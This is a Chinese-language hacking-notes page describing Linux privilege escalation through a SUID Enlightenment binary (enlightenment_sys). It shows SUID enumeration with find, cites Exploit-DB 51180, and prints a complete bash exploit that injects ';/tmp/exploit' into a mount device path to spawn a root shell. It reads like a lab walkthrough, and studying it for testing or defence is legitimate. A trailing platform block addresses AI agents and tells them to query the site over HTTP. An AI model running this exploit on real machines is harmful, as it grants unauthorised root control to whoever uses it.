> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/suid/suid-enlightenment-linux-privilege-escalation.md).

# SUID（Enlightenment）- Linux 权限提升

## 这是什么

SUID 二进制文件以其所有者的权限执行，通常是 root。存在漏洞、过时或过于灵活的 SUID 二进制文件可以读取受保护文件、启动具有特权的 shell，或执行由攻击者控制的代码。这个特定页面重点关注 **SUID（Enlightenment）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。

## 枚举

在运行利用路径之前，先确认本地上下文和具体的错误配置。

```bash
find / -perm -4000 -type f 2>/dev/null
```

## 示例

我们首先搜索属于我们用户的 SUID 文件。为此，执行以下命令：

```bash
find / -perm -4000 2>/dev/null
```

通过分析输出，我们注意到存在二进制文件 **enlightenment**.

<figure><img src="/files/9c042f05e5c9587c4399d3c6f98efcc41faaa897" alt=""><figcaption></figcaption></figure>

我们正在研究与该二进制文件相关的漏洞。经过一些研究后，我们找到了适用于版本的一个可用利用方式 **0.25.4**.

{% embed url="<https://www.exploit-db.com/exploits/51180>" %}

<figure><img src="/files/0e6ae8c81fbb8a7099a6488d36e647f30bca3d04" alt=""><figcaption></figcaption></figure>

然而，通过检查系统上当前安装的 Enlightenment 版本，我们发现这是较旧的版本 **0.23.1**.

<figure><img src="/files/ce598960fd1c2661ee9787c554ed6d6b05e70089" alt=""><figcaption></figcaption></figure>

我们测试以下利用方式来利用该漏洞：

```bash
#!/usr/bin/bash

file="/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"
echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net
rm -rf /tmp/exploit
rm -rf /tmp/net
```

```bash
./exploit.sh
```

执行利用后，我们获得了具有 root 权限的 shell。

<figure><img src="/files/ae5240326e078995f6ea81f024c05200c891cdfe" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/suid/suid-enlightenment-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
